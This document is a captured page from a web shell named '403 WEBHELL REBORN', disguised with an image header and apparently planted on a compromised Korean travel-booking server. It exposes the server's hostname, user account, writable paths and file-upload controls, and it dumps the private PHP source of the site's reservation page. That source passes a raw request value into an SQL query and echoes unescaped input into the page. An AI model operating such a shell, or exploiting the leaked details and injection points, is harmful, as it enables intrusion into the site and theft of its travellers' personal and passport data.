ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/page/regReservation_231023_1.html
<?php
    include $_SERVER['DOCUMENT_ROOT'].'/include/base.php';

    $gUid = (int) $_POST['g_uid'];

    //필수값 체크
    $postData = $_POST;

    include $_SERVER['DOCUMENT_ROOT'].'/process/process_common.php';

    if(!$gUid){
        goMain();
    }

    $goodInfo = getGoodInfo($gUid);

    // 예약번호 생성
    $res_no = auto_create_code($goodInfo['tab']);
    $rsv_no = auto_create_voucher($goodInfo['tab']);

    $b_uid = $goodInfo['b_uid'];
    $m_uid = $goodInfo['m_uid'];

    if(!isset($_SESSION['web_member'])){

        //goLogin();
        $goUrl = urlencode("/page/product-detail.html?b_uid={$b_uid}&m_uid={$m_uid}&g_uid={$gUid}");
        $loginMsg = _e("로그인 후 예약을 진행 해 주세요.");
        goLogin($loginMsg, $goUrl);

        exit;
    }

    if(!$currentFirstCategory){
        $currentCategory = getCurrentCategory($b_uid, $m_uid);

        $currentFirstCategory = $currentCategory['firstCategory'];
        $currentSecondCategory = $currentCategory['secondCategory'];
    }

    $categoryImg = getFirstCategoryImg($currentFirstCategory);

    $totalPrice = (int) $_POST['totalPrice'];

    if($lang == 'en'){

    }else{

    }

    $totalResPeople = (int) $_POST['adultCnt'] + (int) $_POST['childCnt'];

    //가격 검증 절차

    if((int) $postData['g_uid'] > 0 && (int) $postData['d_uid'] > 0 && (int) $postData['dtid'] > 0 && $postData['totalPrice'] > 0){

        //검증절차
        if((int) $postData['adultPrice'] > 0 || (int) $postData['childPrice'] > 0){

            if((int) $postData['adultCnt'] > 0 || (int) $postData['childCnt'] > 0){

                //데이터 검증 시작
                $sql = "SELECT d_money1, d_money2, d_start, d_ok, d_people1, d_people2, d_people3, d_ok FROM date WHERE d_uid = {$postData['d_uid']}";
                $res = $db_connect->query($sql);

                $dateData = $res->fetch_array(MYSQLI_ASSOC);

                //행사가능여부
                if($dateData['d_ok'] == 'A'){

                    //출발일 일치여부 확인
                    if($dateData['d_start'] == $postData['startDay']){

                        //잔여석 체크
                        if((int) $dateData['d_people2'] - (int) $dateData['d_people1'] >= (int) $postData['adultCnt'] + (int) $postData['childCnt']){

//                            $postData['totalPrice'];

                            if(((int) $dateData['d_money1'] * (int) $postData['adultCnt'] + (int) $dateData['d_money2'] * (int) $postData['childCnt']) == $postData['totalPrice']){

                                //통과!


                            } else {

                                goMain(_e('유효하지 않은 값이 감지되었습니다. ERROR - 03'));
                                exit;
                            }

                        }else{

                            goMain(_e('예약가능한 잔여석이 없습니다. ERROR - 04'));
                            exit;
                        }


                    }else{
                        goMain(_e('유효하지 않은 값이 감지되었습니다. ERROR - 03'));
                        exit;
                    }

                }else{
                    goMain(_e('해당 행사가 종료되었습니다. 다른 날짜를 선택하세요.'));
                    exit;
                }

            }else{

                goMain(_e('유효하지 않은 값이 감지되었습니다. ERROR - 03'));
                exit;

            }

        }else{

            goMain(_e('유효하지 않은 값이 감지되었습니다. ERROR - 02'));
            exit;

        }

    }else{

        goMain(_e('유효하지 않은 값이 감지되었습니다. ERROR - 01'));
        exit;

    }

//    p($_POST);

?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php
    $page_title = $currentFirstCategory['b_name'];

    if($page_title){
        $page_title .= ' - '.$currentSecondCategory['m_name'];
    }

    $page_title = $goodInfo['g_title'];
    include $_SERVER['DOCUMENT_ROOT'].'/include/meta_data.php';
?>

    <!-- swiper -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swiper@10/swiper-bundle.min.css" />
    <script src="https://cdn.jsdelivr.net/npm/swiper@10/swiper-bundle.min.js"></script>

    <!-- CSS -->
    <link rel="stylesheet" href="/css/regReservation.css?ver=<?=time()?>">
    <script>
        function checkForm(){

            if(confirm('<?=_e('예약을 진행하시겠습니까?')?>')){

                payMethodValue = $('input[name=payMethod]:checked').val();

                if(payMethodValue == 'payMethod2'){
                    return true;
                }else{

                    jsGUid = $('#jsGUid').val();
                    jsDUid = $('#jsDUid').val();
                    jsDtid = $('#jsDtid').val();
                    jsStartDay = $('#jsStartDay').val();
                    jsAdultPrice = $('#jsAdultPrice').val();
                    jsAdultCnt = $('#jsAdultCnt').val();
                    jsChildPrice = $('#jsChildPrice').val();
                    jsChildCnt = $('#jsChildCnt').val();
                    jsTotalPrice = $('#jsTotalPrice').val();

                    //참여자 정보
                    travelerName = new Array();
                    travelerGender = new Array();
                    travelerPhoneNum = new Array();
                    travelerSns = new Array();
                    travelerNation = new Array();
                    travelerLang = new Array();
                    travelerEmail = new Array();
                    travelerAdditional = new Array();

                    peopleCnt = parseInt(jsAdultCnt) + parseInt(jsChildCnt);

                    for(i = 1; i <= peopleCnt; i++){

                        //name
                        if(document.getElementsByClassName('jsTravelerName'+i) != null){
                            travelerName.push(document.getElementsByClassName('jsTravelerName'+i)[0].value);
                        }else{
                            travelerName.push('');
                        }

                        //gender
                        if(document.getElementsByClassName('jsTravelerGender'+i) != null){
                            travelerGender.push(document.getElementsByClassName('jsTravelerGender'+i)[0].value);
                        }else{
                            travelerGender.push('');
                        }

                        //
                        if(document.getElementsByClassName('jsTravelerPhoneNum'+i) != null){
                            travelerPhoneNum.push(document.getElementsByClassName('jsTravelerPhoneNum'+i)[0].value);
                        }else{
                            travelerPhoneNum.push('');
                        }

                        if(document.getElementsByClassName('jsTravelerSns'+i) != null){
                            travelerSns.push(document.getElementsByClassName('jsTravelerSns'+i)[0].value);
                        }else{
                            travelerSns.push('');
                        }

                        if(document.getElementsByClassName('jsTravelerNation'+i) != null){
                            travelerNation.push(document.getElementsByClassName('jsTravelerNation'+i)[0].value);
                        }else{
                            travelerNation.push('');
                        }

                        if(document.getElementsByClassName('jsTravelerLang'+i) != null){
                            travelerLang.push(document.getElementsByClassName('jsTravelerLang'+i)[0].value);
                        }else{
                            travelerLang.push('');
                        }

                        if(document.getElementsByClassName('jsTravelerEmail'+i) != null){
                            travelerEmail.push(document.getElementsByClassName('jsTravelerEmail'+i)[0].value);
                        }else{
                            travelerEmail.push('');
                        }

                        if(document.getElementsByClassName('jsTravelerAdditional'+i) != null){
                            travelerAdditional.push(document.getElementsByClassName('jsTravelerAdditional'+i)[0].value);
                        }else{
                            travelerAdditional.push('');
                        }

                    }

                    passengersInfo = new Array();
                    passengersInfo['travelerName'] = travelerName;
                    passengersInfo['travelerGender'] = travelerGender;
                    passengersInfo['travelerPhoneNum'] = travelerPhoneNum;
                    passengersInfo['travelerSns'] = travelerSns;
                    passengersInfo['travelerNation'] = travelerNation;
                    passengersInfo['travelerLang'] = travelerLang;
                    passengersInfo['travelerEmail'] = travelerEmail;
                    passengersInfo['travelerAdditional'] = travelerAdditional;

                    //데이터 전송
                    $.ajax({
                        type: "post",
                        url: "/process/setResCard.php",
                        dataType: 'json',
                        data: {jsGUid, jsDUid, jsDtid, jsStartDay, jsAdultPrice, jsAdultCnt, jsChildPrice, jsChildCnt, jsTotalPrice, travelerName, travelerGender, travelerPhoneNum, travelerSns, travelerNation, travelerLang, travelerEmail, travelerAdditional },
                        async: false,
                        success: function (data) {
                            if (data.result == true) {

                                console.log('data is ' + JSON.stringify(data));

                                
                                
                                return false;
                                // return false;
                            } else {
                                alert(data.errMsg);
                                location.href='/';

                            }


                        },
                        error: function (a, b, c) {
                            console.log('500 error');
                        }
                    });





                    return false;
                }


            }else{
                return false;
            }



        }
    </script>
</head>
<body>
<?php
include $_SERVER['DOCUMENT_ROOT'].'/include/header.php';
?>
<!--서브페이지 배너-->
<div class="sub-banner">
    <img class="pc-ban" src="<?=$categoryImg['categoryPcImg']?>" />
    <img class="mo-ban" src="<?=$categoryImg['categoryMoImg']?>" />
</div>


<!--페이지 경로 안내-->
<div class="sub-page">
    <p class="inner">홈 > <?=$currentFirstCategory['b_name']?> > <b><?=$currentSecondCategory['m_name']?></b></p>
</div>

<!--지점 소개-->
    <div class="wrap PrdReserve" data-aos="fade-up" data-aos-duration="2000">
        <form method="post" id="regResForm" action="/process/setResDeposit.php" onsubmit="return checkForm()">

        <div class="wrap_inner inner">

            <p class="sub_title text-center">
                <?=_e('예약하기')?>
            </p>

            <div class="reserve_contents">

                <div class="cont_wrap">
                    <div class="prd_box prd_info_box">

                        <div class="sub_titbox">
                            <p class="txt"><?=_e('상품 정보')?></p>
                        </div>
                        <div class="prd_info_cont">
                            <div class="imgbox">
                                <img src="/FileData/good/<?=$goodInfo['g_image1']?>" alt="" class="img-full">
                            </div>
                            <div class="txtbox">
                                <div class="prd_top">
                                    <p class="prd_tit">
                                        <?=$goodInfo['g_title']?>
                                    </p>
                                    <p class="prd_date">
                                        <?php
                                            $startDate = strtotime($_POST['startDay']);
                                            $startDate = _e(date("Y년 m월 d일", $startDate));

                                            echo $startDate;
                                        ?>
                                    </p>
                                </div>

                                <?php
                                    if((int) $_POST['adultCnt'] > 0){

                                        if($lang == 'ko'){

                                            $adultPrice = (int) $_POST['adultPrice'];
                                            $adultCnt = (int) $_POST['adultCnt'];

                                            $adultUnitPriceTxt = "성인 금액 ".number_format($adultPrice).'원';
                                            $adultPeopleCntTxt = "인원 ".number_format($adultCnt).'명';
                                            $adultTotalPrice = $adultPrice * $adultCnt;
                                            $adultTotalPriceTxt = "총 ".number_format($adultTotalPrice).'원';

                                        }else if($lang == 'en'){

                                            $adultPrice = (int) $_POST['adultPrice'];
                                            $adultPriceFr = (int) ($adultPrice / $extToKrw);
                                            $adultCnt = (int) $_POST['adultCnt'];

                                            $adultUnitPriceTxt = "Adult Unit Price : ".$currencyUnitMark.' '.number_format($adultPriceFr);
                                            $adultPeopleCntTxt = number_format($adultCnt);
                                            $adultTotalPrice = $adultPriceFr * $adultCnt;
                                            $adultTotalPriceTxt = "Total ".$currencyUnitMark.' '.number_format($adultTotalPrice);

                                        }else{

                                            $adultPrice = (int) $_POST['adultPrice'];
                                            $adultPriceFr = (int) ($adultPrice / $extToKrw);
                                            $adultCnt = (int) $_POST['adultCnt'];

                                            $adultUnitPriceTxt = _e('성인 금액').$currencyUnitMark.' '.number_format($adultPriceFr);
                                            $adultPeopleCntTxt = _e('인원')." ".number_format($adultCnt).'名';
                                            $adultTotalPrice = $adultPrice * $adultCnt;
                                            $adultTotalPriceTxt = "總 ".$currencyUnitMark.' '.number_format($adultTotalPrice);

                                        }

                                ?>

                                <div class="prd_option">
                                    <div class="option_cont">
                                        <span><?=$adultUnitPriceTxt?></span>
                                        <span class="separator">X</span>
                                        <span><?=$adultPeopleCntTxt?></span>
                                    </div>
                                    <div class="total_pricee"><?=$adultTotalPriceTxt?></div>
                                </div>

                                <?php
                                    }

                                    if((int) $_POST['childCnt'] > 0){

                                        /*$childPrice = (int) $_POST['childPrice'];
                                        $childCnt = (int) $_POST['childCnt'];

                                        $childUnitPriceTxt = "소인 금액 ".number_format($childPrice).'원';
                                        $childPeopleCntTxt = "인원 ".number_format($childCnt).'명';

                                        $childTotalPrice = $childPrice * $childCnt;

                                        $childTotalPriceTxt = "총 ".number_format($childTotalPrice).'원';*/


                                        if($lang == 'ko'){

                                            $childPrice = (int) $_POST['childPrice'];
                                            $childCnt = (int) $_POST['childCnt'];

                                            $childUnitPriceTxt = "소인 금액 ".number_format($childPrice).'원';
                                            $childPeopleCntTxt = "인원 ".number_format($childCnt).'명';

                                            $childTotalPrice = $childPrice * $childCnt;

                                            $childTotalPriceTxt = "총 ".number_format($childTotalPrice).'원';

                                        }else if($lang == 'en'){

                                            $childPrice = (int) $_POST['childPrice'];
                                            $childPriceFr = (int) ($childPrice / $extToKrw);
                                            $childCnt = (int) $_POST['childCnt'];

                                            $childUnitPriceTxt = "Child Unit Price : ".$currencyUnitMark.' '.number_format($childPriceFr);

                                            $childPeopleCntTxt = number_format($childCnt);

                                            $childTotalPrice = $childPriceFr * $childCnt;

                                            $childTotalPriceTxt = "Total ".$currencyUnitMark.' '.number_format($childTotalPrice);

                                        }else{
                                            $childPrice = (int) $_POST['childPrice'];
                                            $childPriceFr = (int) ($childPrice / $extToKrw);
                                            $childCnt = (int) $_POST['childCnt'];

                                            $childUnitPriceTxt = _e("소인 금액").' '.$currencyUnitMark.' '.number_format($childPrice).'원';
                                            $childPeopleCntTxt = _e("인원")." ".number_format($childCnt).'명';

                                            $childTotalPrice = $childPriceFr * $childCnt;

                                            $childTotalPriceTxt = "總 ".number_format($childTotalPrice).'원';


                                        }

                                ?>

                                <div class="prd_option">
                                    <div class="option_cont">
                                        <span><?=$childUnitPriceTxt?></span>
                                        <span class="separator">X</span>
                                        <span><?=$childPeopleCntTxt?></span>
                                    </div>
                                    <div class="total_pricee"><?=$childTotalPriceTxt?></div>
                                </div>

                                <?php
                                }
                                ?>



                            </div>


                            <?php
                            if((int) $_POST['adultCnt'] > 0){
                            ?>
                                <div class="optionbox">
                                    <div class="option_cont">
                                        <span><?=$adultUnitPriceTxt?></span>
                                        <span class="separator">X</span>
                                        <span><?=$adultPeopleCntTxt?></span>
                                    </div>
                                    <div class="total_pricee"><?=$adultTotalPriceTxt?></div>
                                </div>
                            <?php
                            }

                            if((int) $_POST['childCnt'] > 0){
                            ?>
                                <div class="optionbox">
                                    <div class="option_cont">
                                        <span><?=$childUnitPriceTxt?></span>
                                        <span class="separator">X</span>
                                        <span><?=$childPeopleCntTxt?></span>
                                    </div>
                                    <div class="total_pricee"><?=$childTotalPriceTxt?></div>
                                </div>
                            <?php
                            }
                            ?>

                        </div>
                    </div>

                    <input type="hidden" id="jsGUid" name="g_uid" value="<?=$_POST['g_uid']?>" original_value="<?=$_POST['g_uid']?>" readonly />
                    <input type="hidden" id="jsDUid" name="d_uid" value="<?=$_POST['d_uid']?>" original_value="<?=$_POST['d_uid']?>" readonly />
                    <input type="hidden" id="jsDtid" name="dtid" value="<?=$_POST['dtid']?>" original_value="<?=$_POST['dtid']?>" readonly />
                    <input type="hidden" id="jsStartDay" name="startDay" value="<?=$_POST['startDay']?>" original_value="<?=$_POST['startDay']?>" readonly />
                    <input type="hidden" id="jsAdultPrice" name="adultPrice" value="<?=$_POST['adultPrice']?>" original_value="<?=$_POST['adultPrice']?>" readonly />
                    <input type="hidden" id="jsAdultCnt" name="adultCnt" value="<?=$_POST['adultCnt']?>" original_value="<?=$_POST['adultCnt']?>" readonly />
                    <input type="hidden" id="jsChildPrice" name="childPrice" value="<?=$_POST['childPrice']?>" original_value="<?=$_POST['childPrice']?>" readonly />
                    <input type="hidden" id="jsChildCnt" name="childCnt" value="<?=$_POST['childCnt']?>" original_value="<?=$_POST['childCnt']?>" readonly />
                    <input type="hidden" id="jsTotalPrice" name="totalPrice" value="<?=$_POST['totalPrice']?>" original_value="<?=$_POST['childCnt']?>" readonly />


                    <div class="prd_box prd_user_box">
                        <div class="sub_titbox">
                            <p class="txt"><?=_e('여행자 정보')?></p>
                        </div>

                        <?php
                            for($i = 1; $i <= $totalResPeople; $i++){

                                $isRequired = false;

                                if($i == 1){
                                    $isRequired = true;
                                }
                        ?>



                        <div class="prd_user_cont">
                            <div class="input_wrap">
                                <p class="user_tit">
                                    <?=_e('여행자')?><?=$i?>
                                </p>
                                <div class="inputbox">
                                    <div class="inputitem">
                                        <p class="user_sub">
                                            <?=_e('이름')?>

                                            <?php
                                                if($i == 1){
                                            ?>
                                                    <span class="color">*<?=_e('대표자')?></span>
                                            <?php
                                                }
                                            ?>
                                        </p>
                                        <input type="text" class="user_input jsTravelerName<?=$i?>" name="main_traveler_name[]" required>
                                    </div>
                                    <div class="inputitem">
                                        <p class="user_sub">
                                            <?=_e('성별')?>
                                        </p>
<!--                                        <input type="text" class="user_input">-->
                                        <select name="main_traveler_gender[]" class="user_input jsTravelerGender<?=$i?>" <?=(($isRequired) ? 'required' : '')?>>
                                            <option value="m"><?=_e('남성')?></option>
                                            <option value="w"><?=_e('여성')?></option>
                                        </select>
                                    </div>
                                </div>
                                <div class="inputbox">
                                    <div class="inputitem">
                                        <p class="user_sub">
                                            <?=_e('휴대폰')?>
                                        </p>
                                        <input type="tel" class="user_input jsTravelerPhoneNum<?=$i?>" name="main_traveler_phone[]" <?=(($isRequired) ? 'required' : '')?>>
                                    </div>
                                    <div class="inputitem">
                                        <p class="user_sub">
                                            SNS
                                        </p>
                                        <input type="text" class="user_input jsTravelerSns<?=$i?>" name="main_traveler_sns[]" <?=(($isRequired) ? 'required' : '')?>>
                                    </div>
                                </div>


                                <div class="inputbox">
                                    <div class="inputitem">
                                        <p class="user_sub">
                                            <?=_e('국적')?>
                                        </p>
                                        <input type="tel" class="user_input jsTravelerNation<?=$i?>" name="main_traveler_nation[]" <?=(($isRequired) ? 'required' : '')?>>
                                    </div>
                                    <div class="inputitem">
                                        <p class="user_sub">
                                            <?=_e('언어')?>
                                        </p>
                                        <input type="text" class="user_input jsTravelerLang<?=$i?>" name="main_traveler_language[]" <?=(($isRequired) ? 'required' : '')?>>
                                    </div>
                                </div>



                                <div class="inputbox">
                                    <div class="inputitem">
                                        <p class="user_sub">
                                            e-mail
                                        </p>
                                        <input type="email" class="user_input jsTravelerEmail<?=$i?>" name="main_traveler_email[]" <?=(($isRequired) ? 'required' : '')?>>
                                    </div>
                                </div>
                                <div class="inputbox">
                                    <div class="inputitem">
                                        <p class="user_sub">
                                            <?=_e('추가입력사항')?>
                                        </p>
                                        <p class="user_desc">
                                            <?=_e('여행에 필요한 여권번호 및 생년월일을 추가 입력사항에 입력부탁드립니다.')?>
                                        </p>
                                        <textarea class="user_input jsTravelerAdditional<?=$i?>"  name="main_traveler_memo[]"  <?=(($isRequired) ? 'required' : '')?>  ></textarea>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <?php
                            }
                        ?>




                    </div>

                    <div class="prd_box prd_cancell_box">
                        <div class="sub_titbox">
                            <p class="txt"><?=_e('취소 규정')?></p>
                        </div>
                        <div class="prd_cancell_cont">
                            <div class="cancell_item">
                                <p class="txt">
                                    <?=_e('여행 7일 전 : 100% 환불')?>
                                </p>
                            </div>
                            <div class="cancell_item">
                                <p class="txt">
                                    <?=_e('여행 3일 전 : 50% 환불')?>

                                </p>
                            </div>
                            <div class="cancell_item">
                                <p class="txt">
                                    <?=_e('여행 당일 : 환불 불가')?>
                                </p>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="side_wrap">

                    <div class="sub_titbox">
                        <p class="txt"><?=_e('결제')?></p>
                    </div>


                    <div class="pay_box">

                        <?php
                            if((int) $_POST['adultCnt'] > 0){

                                if($lang == 'ko'){
                                    $adultPeopleCntTxtRightSide = "성인 ".number_format($adultCnt).'명';
                                    $adultPeoplePriceCntTxtRightSide = number_format($adultPrice).'원 X '.$adultCnt;
                                    $adultPeoplePriceTotalPriceRightSide = number_format($adultTotalPrice).'원';
                                }else if($lang == 'en'){
                                    $adultPeopleCntTxtRightSide = "Adult : ".number_format($adultCnt);
                                    $adultPeoplePriceCntTxtRightSide = $currencyUnitMark.' '.number_format($adultPriceFr).' X '.$adultCnt;
                                    $adultPeoplePriceTotalPriceRightSide = $currencyUnitMark.' '.number_format($adultTotalPrice);
                                } else{
                                    $adultPeopleCntTxtRightSide = _e("성인 ").number_format($adultCnt).'名';
                                    $adultPeoplePriceCntTxtRightSide = $currencyUnitMark.' '.number_format($adultPriceFr).' X '.$adultCnt;
                                    $adultPeoplePriceTotalPriceRightSide = $currencyUnitMark.' '.number_format($adultTotalPrice);
                                }

                        ?>
                        <div class="pay_infobox">
                            <div class="pay_infoitem">
                                <div class="sub"><?=_e($adultPeopleCntTxtRightSide)?></div>
                            </div>
                            <div class="pay_infoitem">
                                <div class="sub">
                                    <?=$adultPeoplePriceCntTxtRightSide?>
                                </div>
                                <div class="desc"><?=$adultPeoplePriceTotalPriceRightSide?></div>
                            </div>
                        </div>
                        <?php
                            }
                        ?>


                        <?php
                            if((int) $_POST['childCnt'] > 0){

                                if($lang == 'ko'){
                                    $childPeopleCntTxtRightSide = "소인 ".number_format($childCnt).'명';
                                    $childPeoplePriceCntTxtRightSide = number_format($childPrice).'원 X '.$childCnt;
                                    $childPeoplePriceTotalPriceRightSide = number_format($childTotalPrice).'원';
                                }else if($lang == 'en'){
                                    $childPeopleCntTxtRightSide = "Adult : ".number_format($childCnt);
                                    $childPeoplePriceCntTxtRightSide = $currencyUnitMark.' '.number_format($childPriceFr).' X '.$childCnt;
                                    $childPeoplePriceTotalPriceRightSide = $currencyUnitMark.' '.number_format($childTotalPrice);
                                }else{
                                    $childPeopleCntTxtRightSide = _e("소인 ").number_format($childCnt).'名';
                                    $childPeoplePriceCntTxtRightSide = $currencyUnitMark.' '.number_format($childPriceFr).' X '.$childCnt;
                                    $childPeoplePriceTotalPriceRightSide = $currencyUnitMark.' '.number_format($childTotalPrice);
                                }

                        ?>

                        <div class="pay_infobox">
                            <div class="pay_infoitem">
                                <div class="sub"><?=_e($childPeopleCntTxtRightSide)?></div>
                            </div>
                            <div class="pay_infoitem">
                                <div class="sub">
                                    <?=$childPeoplePriceCntTxtRightSide?>
                                </div>
                                <div class="desc">
                                    <?=$childPeoplePriceTotalPriceRightSide?>
                                </div>
                            </div>
                        </div>

                        <?php
                            }
                        ?>

                        <div class="pay_total">
                            <div class="sub"><?=_e('총 결제금액')?></div>
                            <div class="price">
                                <?php
                                    if($lang == 'ko'){

                                ?>
                                    <?=number_format($totalPrice)?>원

                                <?php
                                    }else if($lang == 'en'){
                                        $totalPriceFr = $adultTotalPrice + $childTotalPrice;
                                    ?>

                                    <?=$currencyUnitMark.' '.number_format($totalPriceFr)?>

                                <?php
                                    }else if($lang == 'hk'){
                                        $totalPriceFr = $adultTotalPrice + $childTotalPrice;
                                ?>
                                        <?=$currencyUnitMark.' '.number_format($totalPriceFr)?>
                                <?php
                                    }
                                ?>
                            </div>
                        </div>

                    </div>


                    <div class="terms_box">
                        <div class="side_tit"><?=_e('약관안내')?></div>
                        <div class="check_box check_all">
                            <input type="checkbox" name="checkAll" id="checkAll" class="check_input">
                            <label for="checkAll" class="check_label"><?=_e('전체 약관 동의')?></label>
                        </div>
                        <div class="check_wrap">
                            <div class="check_box">
                                <input type="checkbox" name="checkTerms" id="checkTerms1" class="check_input" required>
                                <label for="checkTerms1" class="check_label">
                                    <?=_e('(필수) 개인정보 수집 및 이용 동의')?>
                                </label>
                                <a href="#none" class="terms_view" onclick="terms_pop(1)">
                                    <img src="/img/note_icon.svg" alt="" class="img-full">
                                </a>
                            </div>
                            <div class="check_box">
                                <input type="checkbox" name="checkTerms" id="checkTerms2" class="check_input" required>
                                <label for="checkTerms2" class="check_label">
                                    <?=_e('(필수) 개인정보 제공 동의')?>
                                </label>
                                <a href="#none" class="terms_view" onclick="terms_pop(2)">
                                    <img src="/img/note_icon.svg" alt="" class="img-full">
                                </a>
                            </div>
                            <div class="check_box">
                                <input type="checkbox" name="checkTerms" id="checkTerms3" class="check_input">
                                <label for="checkTerms3" class="check_label">
                                    <?=_e('(선택) 마케팅 이용 동의')?>
                                </label>
                                <a href="#none" class="terms_view" onclick="terms_pop(3)">
                                    <img src="/img/note_icon.svg" alt="" class="img-full">
                                </a>
                            </div>
                        </div>
                        <div class="check_alert">
                            <?=_e('필수약관에 동의해주세요.')?>
                        </div>
                    </div>

                    <div class="pay_method">
                        <div class="side_tit"><?=_e('결제방법')?></div>
                        <div class="radio_wrap">
                            <div class="radio_box">
                                <input type="radio" name="payMethod" id="payMethod1" value="payMethod1" class="radio_input" checked>
                                <label for="payMethod1" class="radio_label">
                                    <?=_e('신용/체크카드')?>
                                </label>
                            </div>
                            <div class="radio_box">
                                <input type="radio" name="payMethod" id="payMethod2" value="payMethod2" class="radio_input">
                                <label for="payMethod2" class="radio_label">
                                    <?=_e('무통장입금')?>
                                </label>
                            </div>
                        </div>
                    </div>

                    <div class="pay_btnbox">
                        <input type="submit" class="pay_btn btn_clear" value="<?=_e('결제하기')?>">
                    </div>

                    <div class="mob_pay_btnbox">
                        <?php
                            if($lang == 'ko'){
                        ?>
                                <input type="submit" class="pay_btn btn_clear" value="<?=number_format($totalPrice)?>원 <?=_e('결제하기')?>">
                        <?php
                            }else if($lang == 'en'){
                        ?>
                                <input type="submit" class="pay_btn btn_clear" value="PAY <?=$currencyUnitMark.' '.number_format($totalPriceFr)?>">
                        <?php
                            }else {
                        ?>
                                <input type="submit" class="pay_btn btn_clear" value="PAY <?=$currencyUnitMark.' '.number_format($totalPriceFr)?>">
                        <?php
                            }
                        ?>

                    </div>

                </div>

            </div>




        </div> <!-- end of inner -->
        </form>


        <!-- 개인정보 수집 및 이용 동의 -->
        <!--<div class="terms_popup_wrap terms1">
            <div class="terms_popup">
                <div class="popup_head">
                    <div class="title"><?php /*=_e('개인정보 수집 및 이용 동의')*/?></div>
                    <a href="#none" class="popup_close">
                        <img src="/img/pop_close.svg" alt="" class="img-full">
                    </a>
                </div>
                <div class="popup_body">
                    <div class="popup_contents">
                        1.개인정보 수집 및 이용목적
                        <br><br>
                        약관 테스트 내용입니다. 약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관
                        테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트
                        내용입니다.약관 테스트 내용입니다.
                    </div>
                </div>
            </div>
        </div>-->

        <!-- 개인정보 제공 동의 -->
        <!--<div class="terms_popup_wrap terms2">
            <div class="terms_popup">
                <div class="popup_head">
                    <div class="title"><?php /*=_e('개인정보 제공 동의')*/?></div>
                    <a href="#none" class="popup_close">
                        <img src="/img/pop_close.svg" alt="" class="img-full">
                    </a>
                </div>
                <div class="popup_body">
                    <div class="popup_contents">
                        1.개인정보 제공
                        <br><br>
                        약관 테스트 내용입니다. 약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관
                        테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트
                        내용입니다.약관 테스트 내용입니다.
                    </div>
                </div>
            </div>
        </div>-->

        <!-- 마케팅 이용 동의 -->
        <!--<div class="terms_popup_wrap terms3">
            <div class="terms_popup">
                <div class="popup_head">
                    <div class="title"><?php /*=_e('마케팅 이용 동의')*/?></div>
                    <a href="#none" class="popup_close">
                        <img src="/img/pop_close.svg" alt="" class="img-full">
                    </a>
                </div>
                <div class="popup_body">
                    <div class="popup_contents">
                        1.마케팅 이용
                        <br><br>
                        약관 테스트 내용입니다. 약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관
                        테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트
                        내용입니다.약관 테스트 내용입니다.
                    </div>
                </div>
            </div>
        </div>-->


    </div>
<?php
    include $_SERVER['DOCUMENT_ROOT'].'/include/footer.php';
?>


<div id="tomoModal" class="">

    <!-- 개인정보 수집 및 이용 동의 -->
    <div class="terms_popup_wrap terms1">
        <div class="terms_popup">
            <div class="popup_head">
                <div class="title"><?=_e('개인정보 수집 및 이용 동의')?></div>
                <a href="#none" class="popup_close">
                    <img src="/img/pop_close.svg" alt="" class="img-full">
                </a>
            </div>
            <div class="popup_body">
                <div class="popup_contents">
                    1.개인정보 수집 및 이용목적
                    <br><br>
                    약관 테스트 내용입니다. 약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관
                    테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트
                    내용입니다.약관 테스트 내용입니다.
                </div>
            </div>
        </div>
    </div>

    <!-- 개인정보 제공 동의 -->
    <div class="terms_popup_wrap terms2">
        <div class="terms_popup">
            <div class="popup_head">
                <div class="title"><?=_e('개인정보 제공 동의')?></div>
                <a href="#none" class="popup_close">
                    <img src="/img/pop_close.svg" alt="" class="img-full">
                </a>
            </div>
            <div class="popup_body">
                <div class="popup_contents">
                    1.개인정보 제공
                    <br><br>
                    약관 테스트 내용입니다. 약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관
                    테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트 내용입니다.약관 테스트
                    내용입니다.약관 테스트 내용입니다.
                </div>
            </div>
        </div>
    </div>

    <!-- 마케팅 이용 동의 -->
    <div class="terms_popup_wrap terms3">
        <div class="terms_popup">
            <div class="popup_head">
                <div class="title"><?=_e('마케팅 이용 동의')?></div>
                <a href="#none" class="popup_close">
                    <img src="/img/pop_close.svg" alt="" class="img-full">
                </a>
            </div>
            <div class="popup_body">
                <div class="popup_contents">
                    1.마케팅 이용
                    <br><br>
